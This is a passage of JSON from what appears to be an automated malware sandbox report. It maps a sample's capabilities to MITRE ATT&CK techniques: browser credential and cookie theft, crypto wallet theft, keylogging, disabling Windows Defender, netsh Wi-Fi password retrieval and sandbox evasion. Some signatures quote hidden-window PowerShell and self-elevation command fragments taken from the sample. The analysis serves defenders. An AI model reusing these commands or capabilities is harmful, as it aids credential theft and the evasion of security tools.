Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Contains ability to perform AES decryption (Dotnet String)"},{"type":"informative","value":"Contains ability to decode base64 data"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Contains ability to run commands (Powershell command string)"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Contains ability to receive remote commands (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Defense Impairment","technique":"Disable or Modify Tools","attack_id":"T1685","attack_id_wiki":"https://attack.mitre.org/techniques/T1685","identifiers":[{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Able to modify Windows Defender exclusions (Powershell command string)"},{"type":"informative","value":"Contains ability to uninstall applications (Powershell command string)"},{"type":"informative","value":"Contains ability to modify Windows Defender preferences (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Data from Removable Media","attack_id":"T1025","attack_id_wiki":"https://attack.mitre.org/techniques/T1025","identifiers":[{"type":"informative","value":"Able to retrieve system driver type"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Internet Connection Discovery","attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","identifiers":[{"type":"informative","value":"Contains ability to check internet connectivity"},{"type":"informative","value":"Able to check internet connectivity using ping command"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"suspicious","value":"Able to retrieve saved login credentials from browser"},{"type":"informative","value":"References Firefox browser credentials files"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"},{"type":"informative","value":"Contains ability to start services (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to retrieve browser cookies data"},{"type":"informative","value":"Able to access web session cookie"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Able to enumerate service (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"Services File Permissions Weakness","attack_id":"T1574.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/010","identifiers":[{"type":"suspicious","value":"References security-related Windows services"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"References to WMI query strings used for process discovery"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","identifiers":[{"type":"suspicious","value":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to ping remote computer using PowerShell objects"},{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"},{"type":"informative","value":"Able to execute shell commands through ASP web shell"},{"type":"malicious","value":"Able to execute commands through Windows command interpreter (ASP)"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Persistence","technique":"External Remote Services","attack_id":"T1133","attack_id_wiki":"https://attack.mitre.org/techniques/T1133","identifiers":[{"type":"informative","value":"Able to configure Windows Remote Management service"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Tries to steal crypto wallet extension (string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"},{"type":"suspicious","value":"May check for the presence of a forensics/monitoring tool"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Local Email Collection","attack_id":"T1114.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/001","identifiers":[{"type":"informative","value":"Found string that contains outlook file extensions .ost/.pst"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Security Account Manager","attack_id":"T1003.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1003/002","identifiers":[{"type":"informative","value":"Able to access system credential hash file"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Defense Impairment","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to create/modify item values (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"suspicious","value":"Reference to an external IP address lookup service identified"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"},{"type":"informative","value":"Contains reference to Mail transfer protocol"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Cloud Groups","attack_id":"T1069.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/003","identifiers":[{"type":"informative","value":"May be able to execute Exchange Online Remote PowerShell Modulee"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Able to remove a file/directory"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","identifiers":[{"type":"suspicious","value":"Able to access crypto wallet extension (string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Remote Email Collection","attack_id":"T1114.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/002","identifiers":[{"type":"informative","value":"Found PowerShell command strings related to Exchange mailboxes"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"suspicious","value":"Contains asymmetric cryptographic functions (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Impact","technique":"Endpoint Denial of Service","attack_id":"T1499","attack_id_wiki":"https://attack.mitre.org/techniques/T1499","identifiers":[{"type":"informative","value":"Contains ability to lock the workstation's display (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Able to perform reflective code loading"},{"type":"informative","value":"Can load assembly that contains the code that is currently executing (Dotnet)"},{"type":"informative","value":"Contains ability to load module (Dotnet string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"Software Deployment Tools","attack_id":"T1072","attack_id_wiki":"https://attack.mitre.org/techniques/T1072","identifiers":[{"type":"informative","value":"Contains reference to software packages activity (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Resource Development","technique":"Email Accounts","attack_id":"T1585.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1585/002","identifiers":[{"type":"informative","value":"Found email domains (string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Wi-Fi Discovery","attack_id":"T1016.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/002","identifiers":[{"type":"informative","value":"Able to retrieve Wi-Fi network credential in a non-encrypted format using netsh"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found mail information locations related strings"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Input Capture","attack_id":"T1056","attack_id_wiki":"https://attack.mitre.org/techniques/T1056","identifiers":[{"type":"informative","value":"Contains ability to register/read input devices (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"suspicious","value":"Able to retrieve local network connections"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Bidirectional Communication","attack_id":"T1102.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/002","identifiers":[{"type":"informative","value":"Contains ability to upload or download data from a specified domain"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Securityd Memory","attack_id":"T1555.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/002","identifiers":[{"type":"informative","value":"Able to retrieve credentials from memory"}],"sources":[{"report_type":"qsp","report_id":""}]}],"sandbox_signatures":[{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with low confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"low\" confidence","origin":"Static Analysis","id":"mlmodel-14","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (Cloud) detected file with medium confidence","description":"\"Portable Executable (Cloud) Model\" detected file as \"dirty\" with \"medium\" confidence","origin":"Static Analysis","id":"mlmodel-17","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains native function calls (syscalls strings)","description":"$27","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-5000","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"New-Object\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Join-Path\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Write-Output\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Split-Path\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.001","id":"string-187","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to run commands (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Invoke-Command\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.001","id":"string-287","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"file/memory contains long string with (Indicator: \"CreateDirectory\"; Source: \"sample.bin\"), Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1074.001","id":"string-423","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Found a reference to a known community page","description":"file/memory contains long string with (Indicator: \"facebook.com\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"paypal\"; Source: \"sample.bin\"), Found string \"twitter\" (Indicator: \"twitter\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"netflix.com\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"youtube\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"linkedin.com\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"twitter\"; Source: \"sample.bin\"), Found string \"twitter.com\" (Indicator: \"twitter\"; Source: \"sample.bin\"), Found string \"https://www.facebook.com/\" (Indicator: \"facebook.com\"; Source: \"sample.bin\"), Found string \"facebook.com\" (Indicator: \"facebook.com\"; Source: \"sample.bin\")","origin":"sample.bin","id":"string-10","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"file/memory contains long string with (Indicator: \"ShellExecute\"; Source: \"sample.bin\"), Found reference to API \"set_UseShellExecute\" (Indicator: \"ShellExecute\"; Source: \"sample.bin\"), Found reference to API \" app.ShellExecute T, \"\", D, \"open\", 0\" (Indicator: \"ShellExecute\"; Source: \"sample.bin\"), Found reference to API \" app.ShellExecute T, \"\", D, \"open\", 0\" (Indicator: \"ShellExecute\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-240","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$28","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-120","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Process\"; Source: \"sample.bin\"), Found string \"' -Verb RunAs } catch { Start-Process -FilePath '\" (Indicator: \"Start-Process\"; Source: \"sample.bin\"), Found string \"powershell.exe -NoLogo -Command \"Start-Process -FilePath '%~f0' -ArgumentList '_X_' -Verb RunAs\"\" (Indicator: \"Start-Process\"; Source: \"sample.bin\"), Found string \"@echo off\npowershell -Command \"Start-Process -FilePath ''\" (Indicator: \"Start-Process\"; Source: \"sample.bin\"), Found string \"@echo off\npowershell -NoProfile -WindowStyle Hidden -Command \"try { Start-Process -FilePath '\" (Indicator: \"Start-Process\"; Source: \"sample.bin\"), Found string \" tf.WriteLine \" Start-Process -FilePath $o -WindowStyle Hidden\"\" (Indicator: \"Start-Process\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543","id":"string-250","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"Found reference to API (Indicator: \"MessageBox\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"CreateDirectory\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"GetTempPath\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"ExtractAssociatedIcon\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"GetCurrentProcess\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"QueueUserWorkItem\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"Sleep\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"MessageBeep\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"file/memory contains long string with (Indicator: \"SetLastError\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-319","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"file/memory contains long string with (Indicator: \"CreateProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-204","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Can load assembly that contains the code that is currently executing (Dotnet)","description":"file/memory contains long string with (Indicator: \"GetExecutingAssembly\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1620","id":"string-615","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"file/memory contains long string with (Indicator: \"StartService\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543.003","id":"string-209","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"file/memory contains long string with (Indicator: \"OpenSCManager\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"QueryServiceStatus\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1007","id":"string-191","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"file/memory contains long string with (Indicator: \"ShowWindow\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"GetWindowThreadProcessId\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564.003","id":"string-208","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to copy files","description":"$29","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-329","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"file/memory contains long string with (Indicator: \"cmd.exe /c\"; Source: \"sample.bin\"), Found string \"\" /tr \"cmd.exe /c \" (Indicator: \"cmd.exe /c\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-174","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"$2a","origin":"sample.bin","id":"string-135","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"C:\\Windows\\System32\\smartscreen.exe\" [Source: sample.bin], Observed system executable string:\"C:\\Windows\\System32\\SecurityHealthSystray.exe\" [Source: sample.bin]","origin":"sample.bin","id":"string-170","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"file/memory contains long string with (Indicator: \"CloseServiceHandle\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1489","id":"string-242","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"file/memory contains long string with (Indicator: \"mozilla/5.0 (\"; Source: \"sample.bin\"), Found string \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) SnakeBiteIntelligence/1.0\" (Indicator: \"mozilla/5.0 (\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.001","id":"string-127","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-206","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Found PowerShell command strings related to Exchange mailboxes","description":"file/memory contains long string with (Indicator: \"Remove-App\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1114.002","id":"string-203","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"May be able to execute Exchange Online Remote PowerShell Modulee","description":"$2b","origin":"sample.bin","mitre_attack_id":"T1069.003","id":"string-770","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to start services (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Service\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1569.002","id":"string-332","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Found string that contains outlook file extensions .ost/.pst","description":"$2c","origin":"sample.bin","mitre_attack_id":"T1114.001","id":"string-179","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$2d","origin":"sample.bin","mitre_attack_id":"T1555","id":"string-475","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$2e","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-57","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to keylogger","description":"file/memory contains long string with (Indicator: \"[end]\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"[tab]\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1056.001","id":"string-556","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"$2f","origin":"sample.bin","id":"string-61","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"file/memory contains long string with (Indicator: \"GetTempPath\"; Source: \"sample.bin\"), Found reference to API \"GetTempPath\" (Indicator: \"GetTempPath\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-207","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"file/memory contains long string with (Indicator: \"GetCurrentProcess\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"GetProcessesByName\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"CreateToolhelp32Snapshot\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Module32First\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Module32Next\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Process32First\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"Process32Next\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"GetProcessById\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-85","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve Wi-Fi network credential in a non-encrypted format using netsh","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1016.002","id":"string-671","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1115","id":"string-915","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"file/memory contains long string with (Indicator: \"OpenClipboard\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"GetClipboardData\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1115","id":"string-188","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"file/memory contains long string with (Indicator: \"CreateCompatibleBitmap\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"BitBlt\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"CreateCompatibleDC\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"GetDC\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"CopyFromScreen\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"capCreateCaptureWindow\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"GetWindowDC\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1113","id":"string-78","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system 